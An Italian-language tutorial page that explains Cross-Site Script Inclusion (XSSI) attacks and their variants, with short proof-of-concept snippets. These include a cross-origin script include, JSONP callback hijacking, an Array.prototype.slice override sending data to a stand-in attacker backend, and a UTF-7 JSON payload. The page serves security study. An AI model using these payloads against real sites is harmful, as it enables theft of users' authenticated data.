XSSI (Cross-Site Script Inclusion)

Reading time: 5 minutes

Informazioni di Base

Cross-Site Script Inclusion (XSSI) è una vulnerabilità che deriva dalla natura del tag script in HTML. A differenza della maggior parte delle risorse, che sono soggette alla Same-Origin Policy (SOP), gli script possono essere inclusi da domini diversi. Questo comportamento è inteso a facilitare l'uso di librerie e altre risorse ospitate su server diversi, ma introduce anche un potenziale rischio per la sicurezza.

Caratteristiche Chiave di XSSI:

• Bypass della SOP: Gli script sono esenti dalla Same-Origin Policy, consentendo loro di essere inclusi tra domini.
• Esposizione dei Dati: Un attaccante può sfruttare questo comportamento per leggere i dati caricati tramite il tag script.
• Impatto su JavaScript Dinamico/JSONP: XSSI è particolarmente rilevante per JavaScript dinamico o JSON con Padding (JSONP). Queste tecnologie utilizzano spesso informazioni di "autorità ambientale" (come i cookie) per l'autenticazione. Quando viene effettuata una richiesta di script a un host diverso, queste credenziali (ad es. cookie) vengono automaticamente incluse nella richiesta.
• Perdita di Token di Autenticazione: Se un attaccante riesce a ingannare il browser di un utente per richiedere uno script da un server che controlla, potrebbe essere in grado di accedere a informazioni sensibili contenute in queste richieste.

Tipi

1. JavaScript Statico - Rappresenta la forma convenzionale di XSSI.
2. JavaScript Statico con Autenticazione - Questo tipo è distinto perché richiede autenticazione per l'accesso.
3. JavaScript Dinamico - Comporta JavaScript che genera contenuti dinamicamente.
4. Non-JavaScript - Si riferisce a vulnerabilità che non coinvolgono direttamente JavaScript.

Le seguenti informazioni sono un riassunto di https://www.scip.ch/en/?labs.20160414. Controllalo per ulteriori dettagli.

XSSI Regolare

In questo approccio, informazioni private sono incorporate all'interno di un file JavaScript accessibile globalmente. Gli attaccanti possono identificare questi file utilizzando metodi come la lettura di file, ricerche per parole chiave o espressioni regolari. Una volta localizzato, lo script contenente informazioni private può essere incluso in contenuti malevoli, consentendo accesso non autorizzato a dati sensibili. Una tecnica di sfruttamento esemplificativa è mostrata di seguito:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Dynamic-JavaScript-based-XSSI e Authenticated-JavaScript-XSSI

Questi tipi di attacchi XSSI comportano l'aggiunta dinamica di informazioni riservate allo script in risposta a una richiesta dell'utente. La rilevazione può essere effettuata inviando richieste con e senza cookie e confrontando le risposte. Se le informazioni differiscono, potrebbe indicare la presenza di informazioni riservate. Questo processo può essere automatizzato utilizzando strumenti come l'estensione Burp DetectDynamicJS.

Se i dati riservati sono memorizzati in una variabile globale, possono essere sfruttati utilizzando metodi simili a quelli utilizzati nel Regular XSSI. Tuttavia, se i dati riservati sono inclusi in una risposta JSONP, gli attaccanti possono dirottare la funzione di callback per recuperare le informazioni. Questo può essere fatto manipolando oggetti globali o impostando una funzione da eseguire nella risposta JSONP, come dimostrato di seguito:

<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Per le variabili che non risiedono nello spazio dei nomi globale, prototype tampering può a volte essere sfruttato. Questa tecnica sfrutta il design di JavaScript, dove l'interpretazione del codice comporta la traversata della catena di prototipi per localizzare la proprietà chiamata. Sovrascrivendo determinate funzioni, come Array's slice, gli attaccanti possono accedere e leakare variabili non globali:

Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

Ulteriori dettagli sugli attacchi possono essere trovati nel lavoro del Ricercatore di Sicurezza Sebastian Lekies, che mantiene un elenco di vettori.

Non-Script-XSSI

La ricerca di Takeshi Terada introduce un'altra forma di XSSI, in cui i file Non-Script, come CSV, vengono leakati cross-origin venendo inclusi come sorgenti in un tag script. I casi storici di XSSI, come l'attacco di Jeremiah Grossman del 2006 per leggere un intero rubrica di Google e il leak di dati JSON di Joe Walker del 2007, evidenziano la gravità di queste minacce. Inoltre, Gareth Heyes descrive una variante di attacco che coinvolge JSON codificato in UTF-7 per sfuggire al formato JSON ed eseguire script, efficace in alcuni browser:

;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]

<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>